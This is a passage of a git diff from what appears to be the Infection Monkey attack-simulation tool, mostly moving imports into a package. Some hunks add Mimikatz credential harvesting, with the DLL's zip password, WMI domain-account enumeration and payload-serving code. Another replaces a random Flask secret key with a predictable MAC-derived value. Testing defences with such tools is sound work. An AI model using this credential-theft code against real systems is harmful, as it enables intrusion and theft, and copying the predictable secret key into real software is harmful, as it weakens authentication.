struct_unpack_tracker, struct_unpack_tracker_string +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger +from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string MYSQL_PORT = 3306 SQL_SERVICE = 'mysqld-3306' @@ -20,7 +21,7 @@ class MySQLFinger(HostFinger): HEADER_SIZE = 4 # in bytes def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def get_host_fingerprint(self, host): """ diff --git a/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py similarity index 50% rename from infection_monkey/network/network_scanner.py rename to monkey/infection_monkey/network/network_scanner.py index 563b04b6d..2ccdfe74c 100644 --- a/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -1,11 +1,11 @@ import logging import time -from config import WormConfiguration -from info import local_ips, get_interfaces_ranges from common.network.network_range import * -from model import VictimHost -from . import HostScanner +from infection_monkey.config import WormConfiguration +from infection_monkey.network.info import local_ips, get_interfaces_ranges +from infection_monkey.model import VictimHost +from infection_monkey.network import HostScanner __author__ = 'itamar' @@ -36,10 +36,42 @@ class NetworkScanner(object): self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list] if WormConfiguration.local_network_scan: self._ranges += get_interfaces_ranges() + self._ranges += self._get_inaccessible_subnets_ips() LOG.info("Base local networks to scan are: %r", self._ranges) + def _get_inaccessible_subnets_ips(self): + """ + For each of the machine's IPs, checks if it's in one of the subnets specified in the + 'inaccessible_subnets' config value. If so, all other subnets in the config value shouldn't be accessible. + All these subnets are returned. + :return: A list of subnets that shouldn't be accessible from the machine the monkey is running on. + """ + subnets_to_scan = [] + if len(WormConfiguration.inaccessible_subnets) > 1: + for subnet_str in WormConfiguration.inaccessible_subnets: + if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str): + # If machine has IPs from 2 different subnets in the same group, there's no point checking the other + # subnet. + for other_subnet_str in WormConfiguration.inaccessible_subnets: + if other_subnet_str == subnet_str: + continue + if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], + other_subnet_str): + subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str)) + break + + return subnets_to_scan + def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): - assert issubclass(scan_type, HostScanner) + """ + Finds machines according to the ranges specified in the object + :param scan_type: A hostscanner class, will be instanced and used to scan for new machines + :param max_find: Max number of victims to find regardless of ranges + :param stop_callback: A callback to check at any point if we should stop scanning + :return: yields a sequence of VictimHost instances + """ + if not scan_type: + return scanner = scan_type() victims_count = 0 @@ -76,3 +108,10 @@ class NetworkScanner(object): if SCAN_DELAY: time.sleep(SCAN_DELAY) + + @staticmethod + def _is_any_ip_in_subnet(ip_addresses, subnet_str): + for ip_address in ip_addresses: + if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address): + return True + return False diff --git a/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py similarity index 91% rename from infection_monkey/network/ping_scanner.py rename to monkey/infection_monkey/network/ping_scanner.py index 7162c36f3..075b57669 100644 --- a/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -4,8 +4,9 @@ import re import subprocess import sys -from model.host import VictimHost -from . import HostScanner, HostFinger +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostScanner, HostFinger __author__ = 'itamar' @@ -20,7 +21,7 @@ LOG = logging.getLogger(__name__) class PingScanner(HostScanner, HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self._devnull = open(os.devnull, "w") self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE) diff --git a/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py similarity index 96% rename from infection_monkey/network/smbfinger.py rename to monkey/infection_monkey/network/smbfinger.py index 9ccb52422..ab92f2761 100644 --- a/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -1,10 +1,11 @@ import socket import struct import logging -from network import HostFinger -from model.host import VictimHost from odict import odict +from infection_monkey.network import HostFinger +from infection_monkey.model.host import VictimHost + SMB_PORT = 445 SMB_SERVICE = 'tcp-445' @@ -100,7 +101,8 @@ class SMBSessionFingerData(Packet): class SMBFinger(HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + from infection_monkey.config import WormConfiguration + self._config = WormConfiguration def get_host_fingerprint(self, host): assert isinstance(host, VictimHost) diff --git a/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py similarity index 85% rename from infection_monkey/network/sshfinger.py rename to monkey/infection_monkey/network/sshfinger.py index 89c3092d7..21deb8814 100644 --- a/infection_monkey/network/sshfinger.py +++ b/monkey/infection_monkey/network/sshfinger.py @@ -1,8 +1,9 @@ import re -from model.host import VictimHost -from network import HostFinger -from network.tools import check_tcp_port +import infection_monkey.config +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger +from infection_monkey.network.tools import check_tcp_port SSH_PORT = 22 SSH_SERVICE_DEFAULT = 'tcp-22' @@ -14,7 +15,7 @@ LINUX_DIST_SSH = ['ubuntu', 'debian'] class SSHFinger(HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) @staticmethod diff --git a/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py similarity index 81% rename from infection_monkey/network/tcp_scanner.py rename to monkey/infection_monkey/network/tcp_scanner.py index e291e8d3e..d864e3e73 100644 --- a/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -1,8 +1,9 @@ from itertools import izip_longest from random import shuffle -from network import HostScanner, HostFinger -from network.tools import check_tcp_ports +import infection_monkey.config +from infection_monkey.network import HostScanner, HostFinger +from infection_monkey.network.tools import check_tcp_ports, tcp_port_to_service __author__ = 'itamar' @@ -11,7 +12,7 @@ BANNER_READ = 1024 class TcpScanner(HostScanner, HostFinger): def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def is_host_alive(self, host): return self.get_host_fingerprint(host, True) @@ -31,7 +32,7 @@ class TcpScanner(HostScanner, HostFinger): ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0, self._config.tcp_scan_get_banner) for target_port, banner in izip_longest(ports, banners, fillvalue=None): - service = 'tcp-' + str(target_port) + service = tcp_port_to_service(target_port) host.services[service] = {} if banner: host.services[service]['banner'] = banner diff --git a/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py similarity index 61% rename from infection_monkey/network/tools.py rename to monkey/infection_monkey/network/tools.py index 5053b6c32..112eb53a2 100644 --- a/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -1,13 +1,19 @@ import logging +import sys +import subprocess import select import socket import struct import time +from six import text_type +import ipaddress + DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 LOG = logging.getLogger(__name__) +SLEEP_BETWEEN_POLL = 0.5 def struct_unpack_tracker(data, index, fmt): @@ -126,15 +132,23 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): LOG.warning("Failed to connect to port %s, error code is %d", port, err) if len(possible_ports) != 0: - time.sleep(timeout) - sock_objects = [s[1] for s in possible_ports] - # first filter - _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) - for s in writeable_sockets: - try: # actual test - connected_ports_sockets.append((s.getpeername()[1], s)) - except socket.error: # bad socket, select didn't filter it properly - pass + timeout = int(round(timeout)) # clamp to integer, to avoid checking input + sockets_to_try = possible_ports[:] + connected_ports_sockets = [] + while (timeout >= 0) and len(sockets_to_try): + sock_objects = [s[1] for s in sockets_to_try] + + _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) + for s in writeable_sockets: + try: # actual test + connected_ports_sockets.append((s.getpeername()[1], s)) + except socket.error: # bad socket, select didn't filter it properly + pass + sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets] + if sockets_to_try: + time.sleep(SLEEP_BETWEEN_POLL) + timeout -= SLEEP_BETWEEN_POLL + LOG.debug( "On host %s discovered the following ports %s" % (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets]))) @@ -154,3 +168,64 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): except socket.error as exc: LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) return [], [] + + +def tcp_port_to_service(port): + return 'tcp-' + str(port) + + +def traceroute(target_ip, ttl): + """ + Traceroute for a specific IP. + :param target_ip: Destination + :param ttl: Max TTL + :return: Sequence of IPs in the way + """ + if sys.platform == "win32": + try: + # we'll just use tracert because that's always there + cli = ["tracert", + "-d", + "-w", "250", + "-h", str(ttl), + target_ip] + proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) + stdout, stderr = proc_obj.communicate() + ip_lines = stdout.split('\r\n')[3:-3] + trace_list = [] + for line in ip_lines: + tokens = line.split() + last_token = tokens[-1] + try: + ip_addr = ipaddress.ip_address(text_type(last_token)) + except ValueError: + ip_addr = "" + trace_list.append(ip_addr) + return trace_list + except: + return [] + else: # linux based hopefully + # implementation note: We're currently going to just use ping. + # reason is, implementing a non root requiring user is complicated (see traceroute(8) code) + # while this is just ugly + # we can't use traceroute because it's not always installed + current_ttl = 1 + trace_list = [] + while current_ttl <= ttl: + try: + cli = ["ping", + "-c", "1", + "-w", "1", + "-t", str(current_ttl), + target_ip] + proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) + stdout, stderr = proc_obj.communicate() + ip_line = stdout.split('\n') + ip_line = ip_line[1] + ip = ip_line.split()[1] + trace_list.append(ipaddress.ip_address(text_type(ip))) + except (IndexError, ValueError): + # assume we failed parsing output + trace_list.append("") + current_ttl += 1 + return trace_list diff --git a/monkey/infection_monkey/pyinstaller_utils.py b/monkey/infection_monkey/pyinstaller_utils.py new file mode 100644 index 000000000..d169bda6a --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_utils.py @@ -0,0 +1,25 @@ +import os +import sys + + +__author__ = 'itay.mizeretz' + + +def get_binaries_dir_path(): + """ + Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise) + :return: Binaries dir path + """ + if getattr(sys, 'frozen', False): + return sys._MEIPASS + else: + return os.path.dirname(os.path.abspath(__file__)) + + +def get_binary_file_path(filename): + """ + Gets the path to a binary file + :param filename: name of the file + :return: Path to file + """ + return os.path.join(get_binaries_dir_path(), filename) diff --git a/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt similarity index 87% rename from infection_monkey/readme.txt rename to monkey/infection_monkey/readme.txt index 67c4033d9..c90b1f6af 100644 --- a/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -70,4 +70,9 @@ Sambacry requires two standalone binaries to execute remotely. Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from https://github.com/guardicore/mimikatz/releases/tag/1.0.0 -Download both 32 and 64 bit DLLs and place them under [code location]\infection_monkey\bin \ No newline at end of file +Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin +Alternatively, if you build Mimikatz, put each version in a zip file. +1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll +2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. +3. The zip file should be named mk32.zip/mk64.zip accordingly. +4. Zipping with 7zip has been tested. Other zipping software may not work. \ No newline at end of file diff --git a/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt similarity index 97% rename from infection_monkey/requirements.txt rename to monkey/infection_monkey/requirements.txt index 8683987c4..468b748e8 100644 --- a/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -14,3 +14,4 @@ six ecdsa netifaces ipaddress +wmi \ No newline at end of file diff --git a/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py similarity index 100% rename from infection_monkey/system_info/SSH_info_collector.py rename to monkey/infection_monkey/system_info/SSH_info_collector.py diff --git a/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py similarity index 95% rename from infection_monkey/system_info/__init__.py rename to monkey/infection_monkey/system_info/__init__.py index 667ff9890..fbfbcbd7a 100644 --- a/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -5,8 +5,8 @@ import sys import psutil from enum import IntEnum -from network.info import get_host_subnets -from azure_cred_collector import AzureCollector +from infection_monkey.network.info import get_host_subnets +from infection_monkey.system_info.azure_cred_collector import AzureCollector LOG = logging.getLogger(__name__) @@ -112,7 +112,7 @@ class InfoCollector(object): Updates the credentials structure, creating it if neccesary (compat with mimikatz) :return: None. Updates class information """ - from config import WormConfiguration + from infection_monkey.config import WormConfiguration if not WormConfiguration.extract_azure_creds: return LOG.debug("Harvesting creds if on an Azure machine") diff --git a/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py similarity index 100% rename from infection_monkey/system_info/azure_cred_collector.py rename to monkey/infection_monkey/system_info/azure_cred_collector.py diff --git a/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py similarity index 84% rename from infection_monkey/system_info/linux_info_collector.py rename to monkey/infection_monkey/system_info/linux_info_collector.py index d80efff6a..466177b49 100644 --- a/infection_monkey/system_info/linux_info_collector.py +++ b/monkey/infection_monkey/system_info/linux_info_collector.py @@ -1,7 +1,7 @@ import logging -from . import InfoCollector -from SSH_info_collector import SSHCollector +from infection_monkey.system_info import InfoCollector +from infection_monkey.system_info.SSH_info_collector import SSHCollector __author__ = 'uri' diff --git a/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py similarity index 67% rename from infection_monkey/system_info/mimikatz_collector.py rename to monkey/infection_monkey/system_info/mimikatz_collector.py index 65f326256..4ef764251 100644 --- a/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -2,6 +2,11 @@ import binascii import ctypes import logging import socket +import zipfile + +import infection_monkey.config + +from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -13,16 +18,36 @@ class MimikatzCollector(object): Password collection module for Windows using Mimikatz. """ - def __init__(self): - try: + # Name of Mimikatz DLL. Must be name of file in Mimikatz zip. + MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll' - self._isInit = False - self._config = __import__('config').WormConfiguration - self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name) + # Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec + MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' + + # Password to Mimikatz zip file + MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G' + + def __init__(self): + self._config = infection_monkey.config.WormConfiguration + self._isInit = False + self._dll = None + self._collect = None + self._get = None + self.init_mimikatz() + + def init_mimikatz(self): + try: + with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip: + mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(), + pwd=self.MIMIKATZ_ZIP_PASSWORD) + + self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME)) collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int) get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData) + get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p) self._collect = collect_proto(("collect", self._dll)) self._get = get_proto(("get", self._dll)) + self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) self._isInit = True except Exception: LOG.exception("Error initializing mimikatz collector") @@ -32,6 +57,7 @@ class MimikatzCollector(object): Gets the logon info from mimikatz. Returns a dictionary of users with their known credentials. """ + LOG.info('Getting mimikatz logon information') if not self._isInit: return {} LOG.debug("Running mimikatz collector") @@ -41,6 +67,8 @@ class MimikatzCollector(object): logon_data_dictionary = {} hostname = socket.gethostname() + + self.mimikatz_text = self._get_text_output_proto() for i in range(entry_count): entry = self._get() @@ -74,6 +102,9 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error getting logon info") return {} + + def get_mimikatz_text(self): + return self.mimikatz_text class LogonData(ctypes.Structure): """ diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py new file mode 100644 index 000000000..abf0771fa --- /dev/null +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -0,0 +1,67 @@ +import os +import logging +import sys + +sys.coinit_flags = 0 # needed for proper destruction of the wmi python module + +import infection_monkey.config +from infection_monkey.system_info.mimikatz_collector import MimikatzCollector +from infection_monkey.system_info import InfoCollector +from infection_monkey.system_info.wmi_consts import WMI_CLASSES +from common.utils.wmi_utils import WMIUtils + +LOG = logging.getLogger(__name__) +LOG.info('started windows info collector') + +__author__ = 'uri' + + +class WindowsInfoCollector(InfoCollector): + """ + System information collecting module for Windows operating systems + """ + + def __init__(self): + super(WindowsInfoCollector, self).__init__() + self._config = infection_monkey.config.WormConfiguration + self.info['reg'] = {} + self.info['wmi'] = {} + + def get_info(self): + """ + Collect Windows system information + Hostname, process list and network subnets + Tries to read credential secrets using mimikatz + :return: Dict of system information + """ + LOG.debug("Running Windows collector") + self.get_hostname() + self.get_process_list() + self.get_network_info() + self.get_azure_info() + + self.get_wmi_info() + LOG.debug('finished get_wmi_info') + self.get_installed_packages() + LOG.debug('Got installed packages') + + mimikatz_collector = MimikatzCollector() + mimikatz_info = mimikatz_collector.get_logon_info() + if mimikatz_info: + if "credentials" in self.info: + self.info["credentials"].update(mimikatz_info) + self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() + else: + LOG.info('No mimikatz info was gathered') + + return self.info + + def get_installed_packages(self): + LOG.info('getting installed packages') + self.info["installed_packages"] = os.popen("dism /online /get-packages").read() + self.info["installed_features"] = os.popen("dism /online /get-features").read() + + def get_wmi_info(self): + LOG.info('getting wmi info') + for wmi_class_name in WMI_CLASSES: + self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py new file mode 100644 index 000000000..a87e297d9 --- /dev/null +++ b/monkey/infection_monkey/system_info/wmi_consts.py @@ -0,0 +1,32 @@ +WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount", + "Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service", + "Win32_OptionalFeature"} + +# These wmi queries are able to return data about all the users & machines in the domain. +# For these queries to work, the monkey should be run on a domain machine and +# +# monkey should run as *** SYSTEM *** !!! +# +WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", + "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl", + "DS_objectSid", "DS_objectClass", "DS_memberOf", + "DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime", + "DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp", + "DS_lastLogoff", "DS_logonCount", "DS_accountExpires"), + + "ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName", + "DS_sAMAccountType", "DS_objectSid", "DS_objectClass", + "DS_name", "DS_memberOf", "DS_member", "DS_instanceType", + "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"), + + "ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", + "DS_adminDisplayName", "DS_badPasswordTime", + "DS_badPwdCount", "DS_cn", "DS_distinguishedName", + "DS_instanceType", "DS_lastLogoff", "DS_lastLogon", + "DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass", + "DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion", + "DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName", + "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", + "DS_whenChanged", "DS_whenCreated"), + } + diff --git a/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py similarity index 98% rename from infection_monkey/system_singleton.py rename to monkey/infection_monkey/system_singleton.py index 970905a9c..9f56c238e 100644 --- a/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -3,7 +3,7 @@ import logging import sys from abc import ABCMeta, abstractmethod -from config import WormConfiguration +from infection_monkey.config import WormConfiguration __author__ = 'itamar' diff --git a/monkey/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py new file mode 100644 index 000000000..735ef670a --- /dev/null +++ b/monkey/infection_monkey/transport/__init__.py @@ -0,0 +1,4 @@ +from infection_monkey.transport.http import HTTPServer, LockedHTTPServer + + +__author__ = 'hoffer' diff --git a/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py similarity index 96% rename from infection_monkey/transport/base.py rename to monkey/infection_monkey/transport/base.py index dae0ff072..e6a5bc366 100644 --- a/infection_monkey/transport/base.py +++ b/monkey/infection_monkey/transport/base.py @@ -3,6 +3,7 @@ from threading import Thread g_last_served = None + class TransportProxyBase(Thread): def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''): global g_last_served diff --git a/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py similarity index 78% rename from infection_monkey/transport/http.py rename to monkey/infection_monkey/transport/http.py index 8d07fd155..00ced7198 100644 --- a/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -6,9 +6,10 @@ import threading import urllib from logging import getLogger from urlparse import urlsplit +from threading import Lock -import monkeyfs -from base import TransportProxyBase, update_last_serve_time +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time __author__ = 'hoffer' @@ -183,6 +184,49 @@ class HTTPServer(threading.Thread): self.join(timeout) +class LockedHTTPServer(threading.Thread): + """ + Same as HTTPServer used for file downloads just with locks to avoid racing conditions. + You create a lock instance and pass it to this server's constructor. Then acquire the lock + before starting the server and after it. Once the server starts it will release the lock + and subsequent code will be able to continue to execute. That way subsequent code will + always call already running HTTP server + """ + # Seconds to wait until server stops + STOP_TIMEOUT = 5 + + def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): + self._local_ip = local_ip + self._local_port = local_port + self._filename = filename + self.max_downloads = max_downloads + self.downloads = 0 + self._stopped = False + self.lock = lock + threading.Thread.__init__(self) + self.daemon = True + + def run(self): + class TempHandler(FileServHTTPRequestHandler): + filename = self._filename + + @staticmethod + def report_download(dest=None): + LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) + self.downloads += 1 + + httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler) + self.lock.release() + while not self._stopped and self.downloads < self.max_downloads: + httpd.handle_request() + + self._stopped = True + + def stop(self, timeout=STOP_TIMEOUT): + self._stopped = True + self.join(timeout) + + class HTTPConnectProxy(TransportProxyBase): def run(self): httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler) diff --git a/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py similarity index 96% rename from infection_monkey/transport/tcp.py rename to monkey/infection_monkey/transport/tcp.py index eaa94de1c..e910e657f 100644 --- a/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -1,9 +1,10 @@ import socket import select from threading import Thread -from base import TransportProxyBase, update_last_serve_time from logging import getLogger +from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time + READ_BUFFER_SIZE = 8192 DEFAULT_TIMEOUT = 30 diff --git a/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py similarity index 95% rename from infection_monkey/tunnel.py rename to monkey/infection_monkey/tunnel.py index 9a50679ff..d589ac98b 100644 --- a/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -5,11 +5,11 @@ import time from difflib import get_close_matches from threading import Thread -from model import VictimHost -from network.firewall import app as firewall -from network.info import local_ips, get_free_tcp_port -from network.tools import check_tcp_port -from transport.base import get_last_serve_time +from infection_monkey.model import VictimHost +from infection_monkey.network.firewall import app as firewall +from infection_monkey.network.info import local_ips, get_free_tcp_port +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.transport.base import get_last_serve_time __author__ = 'hoffer' diff --git a/infection_monkey/utils.py b/monkey/infection_monkey/utils.py similarity index 92% rename from infection_monkey/utils.py rename to monkey/infection_monkey/utils.py index e2f66bd03..3f04ed9fb 100644 --- a/infection_monkey/utils.py +++ b/monkey/infection_monkey/utils.py @@ -2,7 +2,7 @@ import os import sys import struct -from config import WormConfiguration +from infection_monkey.config import WormConfiguration def get_monkey_log_path(): @@ -29,3 +29,4 @@ def is_64bit_python(): def is_windows_os(): return sys.platform.startswith("win") + diff --git a/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py similarity index 82% rename from infection_monkey/windows_upgrader.py rename to monkey/infection_monkey/windows_upgrader.py index 4ee0462c5..67b1c3cbd 100644 --- a/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -5,12 +5,12 @@ import shutil import time -import monkeyfs -from config import WormConfiguration -from control import ControlClient -from exploit.tools import build_monkey_commandline_explicitly -from model import MONKEY_CMDLINE_WINDOWS -from utils import is_windows_os, is_64bit_windows_os, is_64bit_python +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.config import WormConfiguration +from infection_monkey.control import ControlClient +from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.model import MONKEY_CMDLINE_WINDOWS +from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python __author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py new file mode 100644 index 000000000..104b5efdf --- /dev/null +++ b/monkey/monkey_island.py @@ -0,0 +1,4 @@ +import monkey_island.cc.main + +if "__main__" == __name__: + monkey_island.cc.main.main() diff --git a/monkey/monkey_island/__init__.py b/monkey/monkey_island/__init__.py new file mode 100644 index 000000000..ee5b79ad0 --- /dev/null +++ b/monkey/monkey_island/__init__.py @@ -0,0 +1 @@ +__author__ = 'itay.mizeretz' diff --git a/monkey_island/cc/__init__.py b/monkey/monkey_island/cc/__init__.py similarity index 100% rename from monkey_island/cc/__init__.py rename to monkey/monkey_island/cc/__init__.py diff --git a/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py similarity index 88% rename from monkey_island/cc/app.py rename to monkey/monkey_island/cc/app.py index 6b9ac1154..c4554ccf2 100644 --- a/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -1,10 +1,11 @@ import os +import uuid from datetime import datetime import bson import flask_restful from bson.json_util import dumps -from flask import Flask, send_from_directory, make_response +from flask import Flask, send_from_directory, make_response, Response from werkzeug.exceptions import NotFound from cc.auth import init_jwt @@ -29,18 +30,24 @@ from cc.services.config import ConfigService __author__ = 'Barak' +HOME_FILE = 'index.html' + + def serve_static_file(static_path): if static_path.startswith('api/'): raise NotFound() try: - return send_from_directory('ui/dist', static_path) + return send_from_directory(os.path.join(os.getcwd(), 'monkey_island/cc/ui/dist'), static_path) except NotFound: # Because react uses various urls for same index page, this is probably the user's intention. + if static_path == HOME_FILE: + flask_restful.abort( + Response("Page not found. Make sure you ran the npm script and the cwd is monkey\\monkey.", 500)) return serve_home() def serve_home(): - return serve_static_file('index.html') + return serve_static_file(HOME_FILE) def normalize_obj(obj): @@ -77,7 +84,7 @@ def init_app(mongo_url): app.config['MONGO_URI'] = mongo_url - app.config['SECRET_KEY'] = os.urandom(32) + app.config['SECRET_KEY'] = uuid.getnode() app.config['JWT_AUTH_URL_RULE'] = '/api/auth' app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time() diff --git a/monkey_island/cc/auth.py b/monkey/monkey_island/cc/auth.py similarity index 100% rename from monkey_island/cc/auth.py rename to monkey/monkey_island/cc/auth.py diff --git a/monkey_island/cc/binaries/.gitignore b/monkey/monkey_island/cc/binaries/.gitignore similarity index 100% rename from monkey_island/cc/binaries/.gitignore rename to monkey/monkey_island/cc/binaries/.gitignore diff --git a/monkey_island/cc/database.py b/monkey/monkey_island/cc/database.py similarity index 100% rename from monkey_island/cc/database.py rename to monkey/monkey_island/cc/database.py diff --git a/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py similarity index 96% rename from monkey_island/cc/encryptor.py rename to monkey/monkey_island/cc/encryptor.py index 90009d1b0..3a3d052f6 100644 --- a/monkey_island/cc/encryptor.py +++ b/monkey/monkey_island/cc/encryptor.py @@ -9,7 +9,7 @@ __author__ = "itay.mizeretz" class Encryptor: _BLOCK_SIZE = 32 - _DB_PASSWORD_FILENAME = "mongo_key.bin" + _DB_PASSWORD_FILENAME = "monkey_island/cc/mongo_key.bin" def __init__(self): self._load_key() diff --git a/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py similarity index 100% rename from monkey_island/cc/environment/__init__.py rename to monkey/monkey_island/cc/environment/__init__.py diff --git a/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py similarity index 100% rename from monkey_island/cc/environment/aws.py rename to monkey/monkey_island/cc/environment/aws.py diff --git a/monkey_island/cc/environment/environment.py 